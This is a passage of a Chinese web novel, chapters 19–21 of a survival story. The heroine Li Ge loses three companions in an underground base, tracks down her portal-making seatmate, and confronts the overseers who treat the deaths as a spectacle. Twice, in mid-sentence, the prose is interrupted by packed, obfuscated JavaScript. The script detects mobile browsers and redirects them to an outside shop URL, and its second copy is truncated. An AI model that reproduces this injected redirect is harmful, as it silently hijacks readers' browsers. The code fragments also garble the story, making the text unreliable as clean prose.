“……”黎歌哑口无言,也意识到了自己的失态。她不得不深呼吸几口,调整状态,她太紧张了,就像霍青山说的那样,她厌恶一切不受控的事情。 这个人只是闪现了2秒,不一定是人,可能只是海市蜃楼而已。 否则,人怎么可能凭空出现呢? 但是,这个人太眼熟了。黎歌烦躁地抠着小刀的刀把:“他好像是我的前桌。他不应该出现在这里。” 他不是去了3区吗? 突然,辛辣味像刺刀一样猛地扎在黎歌的痛觉神经上! 久违又熟悉的痛苦,黎歌紧紧捂住头,转过身,看见霍青山的胸口被尖刺贯穿了。血流决堤般涌了下来。 “小孩……我这是……怎么了?” 补给站内,常乐关好了金属门,然后遵守诺言把三道锁都锁上了。她一边哼着儿歌,转身朝训练房而去。 方京华拿着充能枪直直地站在门口,面无表情地与她对视。 常乐愣了下,继而对她展开了笑脸:“你想去练枪?你去吧,模拟器让给你,我先去跑步机跑一跑。” 说着话,她一边伸懒腰,与方京华擦身而过,略带撒娇地语气自言自语道:“人是铁,饭是钢,一顿不吃饿得慌,三顿不吃呢,那不是直接瘦死!我们该运动运动,再等四个小时,黎小歌她们就能带着吃的回来了。我要吃肉,吃大口的……” 方京华端着枪,视线落在了常乐裸露的脖子上——那里,长出了两条10公分的锈斑。 日记提到,感染了鼠疫的人虫会长出锈斑。 一旦长出了锈斑,人虫会失去理智,进行无差别攻击。 就好像丧尸一样。 充能枪被举了起来,瞄准了她清秀的背影。 19. 第一基地19 开枪。 开枪啊方京华! 不开枪的话,她很快就会异变成体育馆里吃人的鼠虫,会长出长长的利爪,不费吹灰之力就能杀了你。 你不能死在这里,女儿还在医院里等着你接她。 她诞生到这个世界上到现在,还没有听你说过一句“妈妈爱你”。 冰冷的枪口轻微地开始颤抖,仿佛传染一般,抖动从枪口往回蔓延至放在扳机的手指上,方京华感觉自己失去了对它的控制,它愈发软弱无力,伴随着耳鸣,那两道锈斑在视线里扩散、重影,她根本无法瞄准它。 开枪啊方京华! “小兔子乖乖~把门开开~快点儿开开……” 常乐在唱歌。 绝大多数时候常乐都是快乐的,在遇到她之前,方京华从来不知道这会是一个绝症患者的状态。 为什么她总能这么快乐?方京华不懂。 快乐明明很难。过去她洗盘子的时候想,要是能开大货车就好了,一个月能挣7千块,她每天都会很开心。后来她就去开了大货车,接着批发海产、倒卖钢材、干工程销售,慢慢富足了,买房了,但还是不开心。可能缺一个家人吧?于是就给自己生了个家人……如果真的能操纵时间,她想撤回这个决定,这样女儿就不用像她一样,无依无靠地活在这个世界上。 昨天在崩溃的边缘,常乐告诉她,她有一笔巨额存款可以捐赠。 她说,只要钱能解决的事都不是大事,社会上有很多好心人。 她总能快乐,甚至短时间内就忘了她这一路上对自己的厌恶,她的怨和恨都可以轻拿轻放。 方京华把枪放了下来。她没有想好该不该开枪,但是,她觉得不可以这么做。因为这世界上快乐的人是有限而珍贵的。 常乐突然转过身来,哼着歌的脸色还带着笑意:“对了,一会儿你教我怎么玩枪……” 笑容凝滞在她的脸上。 无措、惶恐,她的瞳孔迅速地放大,冰凉的手脚失去了控制,她忘了动作,慌张地吼道:“小心后面!” 方京华转过身,只见一道黑影迎面扑来,她二话不说开了枪。 “嘭!” 种植区,疼痛在源源不断地侵蚀黎歌的神经。 霍青山腹部的尖刺像根导管一样,将血红的生命一点点引出来,血流进黑色的泥土里,融合成同样的黑色。 黎歌咬牙强忍疼痛,握紧了小刀冲过去。 没有人。 霍青山的前后左右不仅没有人,甚至没有脚印! 可是,霍青山切切实实地受伤了,她开始大口大口地呼气,试图缓解伤口的疼痛感,笔挺地站着不敢有任何移动。 她就这样站在新挖出的两个小山包的正中间。外骨骼将她的四肢牢牢地裹着,厚实的黑金属本该给予力量,背部设计了贴合脊柱的防护,普通的尖刺不可能穿透它。 而且,黎歌没有在外骨骼的背部发现破口。 大脑因为疼痛而开始混乱。 是刚才的前桌吗?他也是祝福者?这会是什么能力,隐身,穿墙?不对,他明明只是个普通人。 所以…… 上千根针扎着黎歌的神经,疼痛令她竟然先于霍青山一步闷哼出声。 半边脸疼得发麻了,以至于一阵凉意袭来的时候,黎歌才发现右边眼睛在流泪。她朝霍青山挪动过去,然后伸手,摸在霍青山伤口另一边的腰下外骨骼处。 湿热的,摊开掌心后是刺眼的通红——霍青山的伤口根本不止那一处! 她整个人被密密麻麻的尖刺穿透了,血液从外骨骼的缝隙中满溢出来,但被那黑金属色遮盖住了。 霍青山的嘴唇变得像粉笔一样白。 额头的冷汗将她的碎发都浸湿了。 “外骨骼有问题。”黎歌给出了结论,生理性流下的眼泪令她视线模糊,她怎么也想不到,她交给霍青山的东西,那令霍青山重新像个正常人一样行走和奔跑的宝贝,竟然会要了霍青山的命。 痛!黎歌用沾满血的手捂着自己的头,颤抖的牙齿磕碰着嘴唇:“别动,你千万不要动。” 话音刚落,霍青山仰面倒了下去。 “啊!!!”尖刺深深扎进她的肉和内脏,霍青山发出了第一声惨叫。 痛! 为什么外骨骼会有问题?它怎么会设计有尖刺?它的作用不是只是辅助矿工更好地作业吗? 大脑在过度疼痛中竟然开始飞速地运转,黎歌的脑子里飞起无数画面,训练室,跑步机,药房,镊子,基因试剂,休眠舱,她到底是忽略了哪里的问题? 她单手撑在地上并瘫坐着,感受着和霍青山同比例的痛苦。 “我以为……你说你会痛……也是骗我的……”霍青山的声音都是颤抖着,她必须要剧烈地呼吸着,好像这样能够缓解她的疼痛。 黎歌苦笑:“这是真的。” 隔着眼泪,霍青山模糊的脸好像又惨白了许多。 几分钟前她们还在翻找希望,现在却被一只名为绝望的怪物逼到悬崖口。黎歌感觉心脏被什么攥住了,难受地抽搐:“霍青山……怎么办,你可能会死。” 霍青山又呼了几口气:“是吗……可是我感觉……不痛了……” “肾上腺激素的作用……而已,因为我感受到了。” “那很……糟糕了……” 眼泪扑簌地从黎歌脸颊滑落,一种少有的、难过的情绪涌上心头:“怎么办,我应该把你从外骨骼里先解放出来,但是,那些尖刺可能刚好堵住了你的伤口,如果关了它,你失血会更快。” “那就别碰了……我现在好点了……”霍青山又喘了几口,侧过头来看她,道,“我真的……会害死你吗?” 一把锯刀砍在黎歌的脸侧,锋利的锯齿来回拉扯,从表皮,切入了黎歌的骨头,再往几乎要把她切碎的深度够去。 通感的副作用是敏锐的情绪感知带来的。 先前无论是在教室,还是体育馆内,黎歌都逃脱不了其他人的死亡带来的痛苦,因为那是逃无可逃的密闭空间。 但这里不是啊…… 黎歌蓦地有了思绪:“走到……听不到的地方,听不到,就可以了。” “快去吧……”霍青山可能都没有听明白,只是听到可以两个字,开始忍着她的喘气声,尽量把声音放低,低到黎歌要费劲才能听到的地步,“小孩……认识你很开心……好漫长……的一天啊……” “我想问你一件事。” “好……” “你的,座位,在最右边靠墙的位置,那里不会被任何人观察到,而且,你是个聪明又懂得隐藏的警察,为什么你会被投票?” “刚好……被发现了吧……” “谁发现?你自己吗?霍青山,你是自愿去体育课的吗?” “呵呵……我只是想……帮上一点忙……” “我错了,这里虽然没有,法律,但你永远都是霍警官。” “乖……可算,听你……礼貌一回了……” 霍青山的眼神艰难地朝下看去,虚弱地开口:“我也有事,想告诉你……我撒谎了……体育馆的水、罐头……都是空的……但我想……至少,需要有一点希望……才能坚持下去……” 黎歌从痛苦中惊愕地抬头,顺着霍青山的视线,她伸手将东西从她怀里掏出来。拿到手里,黎歌根本就不需要再打开——是空的。 可是她没有听到她说谎的味道……等下,黎歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664199|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细回想了下她们的对话,眼泪突然大滴大滴地从眼眶里坠了下来。 当时,她并没有正面回答自己的问题。 所以黎歌无法判定她说谎。 “好可惜啊……最后……什么忙也没有帮上……小孩,走吧……” 走吗? 走去哪里? 去服从这个糟糕世界的规则,去践踏生命,去猜忌,去欺骗,去肮脏的鼠虫嘴里抢尸块,冷眼旁观一个又一个霍青山死去,嘲讽她们的弱小,玩弄她们的勇敢——就像在外骨骼里设置陷阱那样吗? 我不要。 黎歌丢掉那失去了任何假想作用的水壶,屏住了呼吸。 她双手捂住头,整个人以鹌鹑的姿势坐在霍青山的旁边。长时间的闭气使她的眼睛开始充血,血丝蔓延着突出的眼球,一分钟,两分钟,漫长的数秒中,霍青山痛苦的呼吸声开始变得朦胧。 五分钟,十分钟…… 鼓膜破了。 世界在一瞬间变得安静无比,所有的痛苦都消失了,两行鲜血从耳朵里涌了出来。 相比于死亡的痛,失聪的痛如同一只蚂蚁嚣张的撕咬——不值一提。 黎歌侧过身,拉过霍青山的手——事实上,她不知道自己该怎么做,她只是想这么做。她将霍青山温热的掌心捂在手里,安静地靠着她坐着。 霍青山的眼神从起初的焦急,慢慢变得平静。而那双本该被她安慰的手,全反过来握住了她,疼痛令霍青山无法控制轻重地捏着她。霍青山的嘴唇在动,但她听不到任何声音,好像被雪封住了一样静谧。 这是我第一次面对朋友的死亡。霍青山,这是一种很奇怪的感觉,就好像,突然变得很寂寞。 过了很久。 可能一个小时,两个小时,因为听不到声音,黎歌不能判断霍青山是什么时候停止了呼吸。 她把她的手安稳地放回她的胸口,起身,拿起了工铲,在霍青山刚才作业的位置往深处挖。 她需要挖一个很深很深的坟墓,确保它不会轻易被鼠虫发现。 铲子只挖了六次,土里突然出现了一抹白色。 黎歌先用工铲试探了下,白色一动不动,并不是什么不明生物。于是她放开了工铲,蹲下去用手心触碰了下——冰凉的、软的,夹杂着腐味。 这是一朵蘑菇。 她立刻蹲下身去,用双手将蘑菇附近的土刨干净。一颗直径近30cm的巨大蘑菇被清理出来,肉嘟嘟的,这是黎歌少数能认出来的蘑菇——美味蘑菇,长在地下,抗旱,抗盐碱,可食用。 脏污的手拍在菌盖上,让孢子可以落下去。 嘭。 嘭嘭。 “嘭。” 世界再度恢复了声音。 【你对通感有进一步的理解,反噬将不再对你起作用】 【智力天赋:通感(完成进化)】 耳边的血凝固了。过去黎歌从未意识到,空气是有声音的,蘑菇也有声音。只有霍青山那么安静。 大滴大滴的眼泪坠落在菌盖上,但并不是因为痛。 她在霍青山的“坟墓”里找到了食物。 只差一点点,霍青山就能看到了…… 她用小刀割下蘑菇,留下根部,重新埋好土壤,然后放了几块碎石做标记。另外找了更加安静的角落安葬好霍青山,做完这一切,她收起工铲和充能枪,捧着这一朵珍贵无比的食物,一个人往补给站的方向走。 罐笼依旧停在原来的位置,附近没有多余的脚印。 金属门也好好地关着。 黎歌站在门口,不知道要怎么跟常乐和方京华交代。 犹豫了许久,她曲起手指敲门。 没有人应门。 20. 第一基地20 第二次敲门。 黎歌还沉浸在另一种情绪里,久久没有回应使她不得不抽出注意力,使了手劲,从敲门改成了拍门,频率也开始加快。 她决定用虫巢窥探下里面的情况。 突然,门旁边的金属壁开始沸腾——黑色的泡沫翻涌,像一口烧开的剧毒浓汤,泡沫蚕食着墙壁,掏出了直径1米的洞口。 恰好是补给室会议桌的位置。 黎歌来不及探究这个黑洞是如何产生的——因为一股浓烈的血腥味从补给室内溢了出来! 她拔腿就奔进了洞口。 好像掉入了血液酿就的池子。红色的地板,交织的血液飞溅上墙,子弹将桌子轰掉了一个边角,碎裂的椅子旁,三具尸体前后倒下。 剧烈的耳鸣缠绕着黎歌的思想。 握着蘑菇的那只手冷得仿佛失去了知觉。 那个本该在3区的前桌,种植区内她和霍青山没能杀死的那个中介——倒在了这间补给室。他整张脸和脖子都生锈了,可怖的抓痕遍布,嘴角、指甲里全是撕扯下来的血肉。致命伤在腰部,子弹将他半个腰轰烂了。 隔着一只手臂的距离,常乐仰趴在地上,试图往训练室方向爬——唯一的伤口在手腕处,大动脉被咬破了。 她遭到了中介的攻击。从体型差上,无论中介以男人的身份,或是锈病中毒的身份,他的攻击力都足够给常乐造成致命伤害。 手指的尽头,常乐最后尝试去够的方向上,方京华倒在训练房的门口。方京华的脖子被咬烂了,但她开出了足够杀死中介的几枪。 都死了。 为什么呢? 这是最隐蔽的补给站,金属门+罐笼,它有双重保险,为什么中介可以闯进来? 黎歌机械地搜查着入口,射击房、会议室,然后进入训练房。 【九章:结算总学分710分。存活1人,依据第一基地人虫训练手册,将学分进行平均分配。】 【九章:002号获得710分。1617号、615号、566号、2213号各获得0分。】 【九章:伟大的人虫战士,曙光在向你招手,一切为了黎明!】 黎歌出去,拎着一张椅子进来,猛然朝红字砸了上去! 她狠狠砸了数十下,一直到墙皮被砸破,露出里面的钢筋来。 红字消失了。 沉默了许久许久,黎歌丢下手里的碎屑,走出去,单手拎起中介的腿,拖着他打开门。他的脸摩擦在地面上,流下了一条血渍,但黎歌没有回头。 她顺着隧道往前走,进入罐笼,启动。 沉闷的机械声笔直地往上,门开了,黎歌把中介的尸体丢了出去。不出5秒钟,窸窸窣窣的声音就从隧道另一端涌了过来,成百上千饥饿的鼠虫循着血腥味而来,来赶赴一场盛宴。 回了补给室,她蹲下来用绷带替常乐包好手腕,解下她松散的方巾,收进口袋,将她拉到背上,背着她往种植区走去。 接着又折回来背上方京华。 挨着霍青山的墓地,她新挖了两个坑,跟她们告别。埋方京华之前,她掏出了方京华收着的纸笔,工工整整写下了她女儿所在医院的名字、床号,然后当着方京华的面收在自己贴身处。 接下来,就剩我一个了。 天可能黑了,因为更冷了。黎歌掏出了打火机,还剩下一点点燃料,足够她点起火星,用旧稿纸引燃,开始烤那个蘑菇。 眼泪滴在烧得略有枯味的蘑菇上,黎歌机械地进食。 【祝福者:黎歌】 【祝福能力:全知者】 【饥饿值:90(火炙之后的蘑菇更添一份浓郁的清香,丝丝脆嫩,汁水充盈着你的唇齿。吃饭是最重要的事,请好好吃饭。)】 【精神值:45(警告,你的精神状态低于50,极易被污染!请返回安全区。低于30时进入若虫状态,变成虫域的一部分。)】 【幸运值:44(你是个不幸的人,如果天降陨石,那么它有一定概率是受到了你的召唤。)】 【智力值:158(其中20%为饥饿值加点。你如此清醒、理智,你是天生的领袖,永远能在迷雾中寻找到正确的方向。)】 【战力值:80(其中20%为饥饿值加点。你有用过人的战斗能力。)】 她将会报复。 她将揪出幕后的人,将ta的鲜血洒在这些低矮的墓碑前,以ta的悔恨、恐惧为养料,抚慰朋友们的亡魂。 而这远远不够。 她要把手伸到更深的深处,将这场血腥狩猎背后的规则搅得天翻地覆,直至把这场愚弄百倍奉还! 必须要这样,才足以消解她此时此刻的恨! 【你已开启人虫教室。】 【你已开启体育馆。】 【你已开启隧道碎片。】 【你已开启补给室。】 【你已开启人虫教室……】 每嚼一口,她循环开启着不同的虫巢,去每一个角落搜寻蛛丝马迹,查找过去忽视了的线索。 从进入防空洞开始,他们的每一步都是意外,在鼠虫的驱赶下被迫选择了4区作为落脚点,意外发现遗落的外骨骼,交由四个人当中的霍青山穿上。而外骨骼失控的时候,恰到好处正是霍青山险些要发现食物的时候。 所以,这不会是一场蓄谋已久的杀戮。 对方很明显知道她们的举动。 但黎歌并没有在虫巢中检测到任何异常,除非对方像她一样拥有虫巢能力,并且是更高一级,能够随时随地实体化,随心所欲地杀人。 如果对方真的有这么强大的实力,那死的应该是黎歌才对,因为四个人当中最能构成威胁的一定是祝福者。 所以,对方并不如黎歌试想般强大。 对方之所以杀霍青山,是因为ta只能够操控外骨骼。 ta没有被黎歌的虫巢能力发现,那么,ta一定拥有极强的存在合理性,ta无处不在、无孔不入,偏偏不会引起她的关注。 答案已经呼之欲出了。 但是,墙上的洞又该怎么解释?就像个任意门一样,它可以出现在任何地方,种植区、训练室,出现到消失从2秒到5秒不等,消失后一切可以恢复原状。 3区和4区的通道必经路本来是罐笼,但是有了洞口以后,中介就被送了过来。 突破了空间的限制,将这迷宫般的第一基地变成了自己的后花园,随意地进进出出。这也是ta的能力之一吗? 火已经灭了,残留的灰烬里还有一点火星。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673256|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >少了这一摊篝火以后,种植区的半边隐藏在黑暗中,隧道的灯光匍匐进来,在黎歌的脚下画下楚河汉界,止步不前。 一道人影在小山的另一边一闪而过! 黎歌在还没有反应过来之前,身体已经冲了出去。 那怒不可遏的情绪还没有平复到底,她不顾一切追上前,伸手穿过了黑泡泡腐蚀出的洞口,攥住了对方的衣领,以力的惯势,强硬地将对方扑倒在地! 石堆的另一边本该是泥土,可穿过了洞口之后,竟又来到了隧道,且两人落在了十字交通口上,这是黎歌并没有踏足过的地方。 洞口在黎歌的背后关闭了。 黎歌顾不上这么多了,要找的凶手竟然明目张胆地出现在了她面前,本以为要耗上许多精力,现在她轻而易举就制住了对方,随时可以给出致命一击! 这是个男人。 她的手正摁在他的后脑勺上,将他正面朝下压在了地轨上,膝盖顶住了对方的腰,恶狠狠地控制着对方的人身自由。 接着反手将他掀了过来! 他没有还手,也没有挣扎,在暴露在黎歌面前后,眼睛也只是因为光的刺激而微微地眯了下。 这样一来,他的脸藏无可藏地暴露了。 黎歌的拳头仅差几厘米就要砸下去。 硬生生地顿住了! 她猜了很多人,也猜了一些可能她并不了解的存在,但她偏偏没有猜过这个人,她的逻辑与思维无比自然地将他排斥在了外。 “眼睛疼。”他开口。 清甜的荔枝味的声音。 拳头正下方,愕然就是她的同桌! 他的发型乱成了鸟窝,脸上脏兮兮的,身上只穿了单薄的无袖黑T,衣服有些破破烂烂,但身上一点伤痕都没有。 他略微侧过头,躲开头顶灯光的散射。可能确实是不太舒服,于是他轻微地挣扎了下,两只手腕扑腾着。 黎歌的身边出现了一圈又一圈的黑洞。 同桌每动一次,黑泡泡便将空间烫出一个洞口,好像空中荡起的黑色涟漪,无规则地,出现,消失,仅此而已。这本是最好的逃脱能力,但一分钟过去了,同桌仍旧被她钳制在掌中。 他竟然是祝福者! 黎歌后知后觉,大脑从震惊中逐渐捋清了乱麻。这一切太简单了,简单到她本来应该第一个发现异常,可是却拖到现在,她才明白过来自己忽略的那些细节。 同桌是坠楼“摔死”的。 但是,人虫教室建在第一基地正中央,方京华拼凑的图纸清晰地展示了它的构造,除去几间教室外,它四周分布都是体育馆,分别对应不同的防空通道,从而可以进入基地内部。 简单地说,教学楼只有一层。 “你没有坠楼。”黎歌下结论。 “你只是控制不好自己的祝福,透过洞口摔倒在了另一个空间。所以,我才会觉得外面比教室还要寒冷、阴暗。你也并不是‘死了’,而是洞口关闭,所以后面再也听不到你的呼救声。” 黎歌几乎笃定了这个答案。他的伤口在1天内尽数痊愈了,只有祝福者才能拥有这样异于常人的体质。 同桌停下了手上的动作,碎发划过他的睫毛,眼神定定地看着某一处,开口说了第二句话:“找到你。” 21. 第一基地21 荔枝味还是一如既往的清甜。 “是你。”猜到答案后,黎歌的大脑莫名地一阵空白。并非因为单一的震惊、失望或是愤怒情绪,而是杂揉之后,自内往外扩散的荒诞感,自己无法第一时间抉择让哪种情绪先出口。 她的膝盖还顶在同桌的胃部,钳制的姿势令他极不舒服。 现在还能回想起他干净又爽朗的笑脸,仅仅一天,他就和教室里那副自来熟的模样判若两人,那个为她留下外套的人,现在害死了另外两个无辜的人。 偏偏他还依旧拥有最为单纯的味道。 他脸上的微表情,闪躲的、愚笨的,犹如犯错的小动物,不敢与黎歌直视,可又不想离开。 真是。 令人火大。 一缕长发碍事地垂坠下来,黎歌将兜里的方巾取出来,很漂亮的方巾,印着梵高的野玫瑰,黎歌将发丝收拢在后面,绑成低马尾。 动作的过程,她清晰地吐着字:“在教室里的时候,有一位医生为了救坠楼的你,违反了老师的纪律被杀了。你不知道。” “你也不会知道,一个小时前,有人通过你的能力造出的黑洞,进入了我的庇护所,杀死了两个无辜的人。” “天真就是这么个东西,一旦不在它合适的位置,就显得愚蠢、可憎。” 她保持着直挺的姿势,眼角垂下来,捕捉他闪躲的侧脸:“谢谢你的衣服,但抱歉,它被我烧了,你可以提出补偿。你有三秒的时间可以提,过期作废,3,2,1。” 黎歌没给他留一点气口:“好,现在轮到你道歉了。” 拳头直直地砸下去,结结实实砸在同桌没有设防的腹部,进化后的拳头可不简单,直接将他砸得蜷缩起来,一阵生理性的干呕过后,血迹从他嘴角流了出来。 黎歌站起来,与他拉开一臂的距离:“你的脑袋是摔伤的,跟我无关。既然互相的债都清了,现在起别跟着我。” 同桌“可怜兮兮”地起身,盘腿坐在地轨上,低眉顺眼,睫毛一下一下轻颤着,整个人透露着任人宰割的脆弱感。 “……”可以确定,同桌必然摔坏了脑子。 黎歌转身就走。 不出一分钟,她就转悠得有点烦躁了,首先,她不确定这里是哪里,隧道与隧道的区别并不是很大,其次,同桌亦步亦趋地跟着她,好像全然忘掉了刚才挨了她一顿揍还吐了血的惨状。 她不得不跑起来,以最极限地速度逃离这位麻烦的的黏人精。 齐观的世界二度陷入了黑暗! 掉入这逼仄的空间后,四周荒无一人,明晃晃的灯勾勒着躲在缝隙中几只鼠虫的丑陋模样,走啊走啊,无论往哪里走,哪里都是隧道,永无止尽的隧道,连回声都变得恐怖的隧道。 但就在这狭窄以外,更远的远方,可能是隧道一米、五米、十米以外,齐观不能判断,他看到了他的同桌,她在不停地受伤、受伤,但她总能爬起来,偶尔也朝着某个方向招呼着,毫不吝啬地笑。 在这恐怖而孤单的隧道之中,她是他唯一能看到的生命。 就好像打在黑夜里的光一样明亮。 你很难阻止自己去追一束光。 但问题来了…… 黑洞开在了最准确地地方,迎着同桌惊讶的目光,和她眉眼里显而易见的嫌恶,齐观听到自己开口:“你是,光。” 啊啊啊啊啊啊……你在说什么鬼东西,小爷不要面子的? 不知道怎么的,他控制不了自己的躯壳,行动、言语,通通都不在他的掌控之内! 就好像被什么脏东西夺舍了一样! 同桌已经警惕地抬起了拳头:“你是怎么追上来的?你能锁定我的位置?想做什么,报刚才的仇吗?” 告诉她,你愿意大发慈悲和她联手! 跟她说,你玩的就是货真价实无敌空间系,超能力中的王者,今天不要998,不要888,只要一朵烤蘑菇,立刻最强辅助带回家! 齐观干嚎了半天,却看见自己直愣愣地挡在同桌面前,也不回话,嘴角往下轻垂,眼尾泛起了粉红色并涌起了一颗……小珍珠。 同桌瞪大了双眼:“哭了?我天……你到底磕坏哪里了,先前也是算是个酷哥,现在是林妹妹?” 我求求你,不要告诉其他人好吗? 齐观疯狂地蛄蛹,啊,好丢人,好想死啊…… 同桌道:“行,我需要确认你现在的智力水平,确保你我的沟通是正常人类的沟通。如果能理解这句话,你就点头。” 齐观看到自己点了点头,差点泪流满面。对,就是这样,我以我英俊的容颜发誓我是正常人类! “你有没有其他帮手?” “没,有。” “看来语言系统没有完全崩溃,能够进行简单的对话。”同桌在总结,低垂着眉眼在细细思考,“就是不知道智力大概停留在什么阶段。” 本人,齐观,名牌大学视觉传达设计专业,新晋打工贵族,未来的传媒精英,具备优秀成年人该有的智力水平! 你尽管提问! 同桌问:“cos30°等于多少?” 齐观:“……” “不知道?”同桌点评,“九年制义务教育未遂。” 等下!我们专业不学数学!我四年没碰数学书了,背不出三角函数犯法的吗?啊啊啊啊啊,你重新问,你给我重新问! “最后一个问题,”同桌不理会他灵魂的出口,只是一味地构陷他的智慧,自顾地问话,“为什么找我?” “你,光。”躯壳依旧慢吞吞地反应着,像只树獭一样,齐观的双手不受控地举了起来,莫名其妙地画了个圈,“黑。只有你,是光。” “你的意思是,你能看到我所在的位置。不是面前你我面对面这样,而是当我跟你并非在同一个空间的时候,你依旧可以锁定我。你往种植区和补给室画黑洞,是想要来找我。” 齐观差点感动得哭出来。 她居然听懂了!就他那比小学生还寡淡的词汇量,她怎么能听懂呢?我宣布她就是天底下最聪明的女孩子! 树獭缓慢地点了头:“是。” “那么,你能送我回原来的种植区吗?” “5号。” “5,这是你给你的黑洞标的记号?还有哪些记号,做给我看。” 齐观以灵魂的身份疯狂鼓掌。 聪明,太聪明了,聪明到就算他自己都未必能立刻反应过来躯壳的话,她居然能够一一破解。 但是,就算展示那些记号有什么用?她又不能够亲自去检查。 虽然有疑问,但是躯壳已经自然而然地执行了她的话,依次在不同标记点打开了黑洞。 过会儿,他听到同桌的声音里多了显而易见的惊喜:“1号人虫教室,2号体育馆,3号489号防空洞下的隧道,4号训练室,5号种植区……这些全都是我去过的地方。看来你没有骗我。” 她居然精准地说出了每一个标记点! 齐观夸张地举起了双手——以灵魂状态,表示了他的惊讶。她是怎么办到的?她的祝福能力难道比他还强? 她又陷入了思考中,松散的马尾下,笔挺的工装衬得她的站姿又飒又酷。他在隧道里抱头鼠窜,怎么她就可以把这里玩成解谜游戏?现在的小孩姐越来越不得了了。 齐观哼哼几句,与此同时,好奇心被狠狠地抬高了。 她又想使什么坏? 距离从人虫教室醒来至今,时间才过去了一天,但这一天过山车般的体验,足够黎歌梳理好这里的“杀人规则”。 首先,基地内有众多繁殖能力超强的鼠虫,它们无孔不入,即便不能立刻捕杀猎物,通过一波又一波的鼠群进攻足以消耗人的体力,像猫鼠游戏那样,而它们,才是扮演着猫的那个角色。 其次,那种腹部空荡荡的丧尸鼠则会传播鼠疫,被感染的人虫变成失去理智的丧尸,会攻击同类。中介身上那些锈斑,大概就是鼠疫,也就是三十年前屠戮了第一基地的疫病, 再者,逃过鼠虫、鼠疫之后,人们面对的是复杂的地形,它大而荒芜,困在当中,日夜饱受着寂寞,要么饿死了,要么可能就疯了。 最后的最后,还有第四条途径的血腥引导,让人虫杀人虫。 可以想象在这些致命因素的围剿下,第一基地的生存率有多低了。如果世间真的有冤魂,想必这里已经挤的站不下了。 黎歌扬起嘴角——她想到了绝佳的复仇办法。 一直都是你们在玩弄我,该换换边了。 周远泽在驾驶位上已经睡了好几个来回了,时间也只是过去了一天一夜。窗外一望无际的沙漠,干涸得没有一丝趣味,烟也抽完了,他只能仰仗着手中小小的通讯器打发时间。 手指拨弄了几个来回,新的简讯跳了出来。 “九章上传了新的数据……果不其然,24小时对她们来说已经是极限了。”他划了划光屏,“一夜之间只剩下002号了,看来,昨晚不是平安夜。” 方小像年画一样竖竖地贴在后座上:“队长,你觉得会是她杀的吗?” “赢家通吃,这是第一基地的规则,有什么稀奇的吗?”周远泽不置可否。 “他们刚刚穿越过来嘛,多少还有点道德负担,圣母心泛滥,这也想救,那也想救,”方小翻了个面,舒展着无聊的筋骨,“我杀第一个人的时候也嗷嗷哭,后来才发现,他们比我幸运多了,活着才是真正的遭罪。” 他想到什么,膨胀出人形,靠近了驾驶位:“队长,002号破你的纪录没有?24小时内拿了710分,很快的速度了!” “……真会聊天,难怪其他兵团不要你。”周远泽叹了口气。 他的通讯器上,【车站】的信息难得密密麻麻刷了一整屏。 【哈哈哈,周队的纪录被破了!】 【24小时拿到500分,120小时拿满1000分,这项纪录周队已经保持了5年,没想到当着他的面就把他纪录破了。】 【新晋监护人,问下500分是个什么情况?就我所知,周远泽的祝福就只是“皮囊”而已,能有什么杀伤力?】 【打开你的想象力,我们周队在另一个世界身份可不简单,他可是顶流男歌手。恰好同期绝大多数都是他的粉丝,人虫们直到团灭都没有怀疑过是他下的手。】 【真是聪明宝宝!】 【别打岔,我们不是在讨论002号吗?照这个速度,她很快就可以凑够1000学分,能不能让她提前离开第一基地?我想要早点收养她!】 【我有别的主意,我觉得现在的局势还不够有意思。周队,能不能想个办法,让002号和时间祝福碰面。】 【我去,好主意啊!强强对决……】 通讯器跳出了新的聊天界面,2位老师已经抵达3班了。 周远泽一边看着【车站】愈发兴奋的聊天内容,想了想,将聊天界面同步进了【车站】。 【老师们好,3班情况怎么样?顺便一提,监护人有新要求,想2位安排002号和另一个祝福者见面,劳烦跑一趟?】 在热闹的附和声中,一行不高兴的字弹了出来。 【一会儿要收尸,一会儿又要我们安排约会,能不能一件一件来?】 【尸体可以晚点再收嘛,对吧周队?老师,你在基地内,快查一查他们俩现在的位置,要是能让他们碰上,事情一定特别精彩!】 【就是就是,那个老师死了就死了,别耽误我们看演出!】 【我是周远泽,各位监护人稍安勿躁,容我不识趣地插一句话,兵团有规定,人类基因不允许以任何形式遗留在第一基地 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【……是不是认错人了?九章传回来的数据显示,002号在四区,人虫教室现在很安全才对。】 【我不知道!我只知道我很危险!我的复眼能够观察到这间教室任何一个角落,她闪现了好几次,她在试探我的能力,我的处境非常危险!】 【取消任务,老师,请立刻返回校门口。重复一遍,取消任务。老师?】 另一端久久没有信息输入,方小慌乱地问:“队长,该不会……” 周远泽烦躁地捋了下头发,重新拿起了通讯器,修改了编辑方式,往绿屏中发了新的内容。 【在?】 大约1分钟后,新的消息跃入眼帘。 【原来可以发中文。】 黎歌站在讲台上,单手拎着冒着热气的枪,一边摆弄着刚刚“缴获”的小玩意——形状像金属感很重的智能表,聊天界面很热闹,高频地刷着她看不懂的文字,中文就是在这时候弹出来的。 看来对面是她的老乡。 是个拥有通讯器权限的老乡,能和老师直接联系,说明大小是个官。 【002,警告你别冲动,除非你想要亲自体会一级监禁。】 【一级监禁?那是什么?】 【领教它的人已经都死了。】 【听起来就好可怕!】黎歌面无表情地打字。 【你知道害怕就好,002,很简单,现在立刻放了两位老师。】 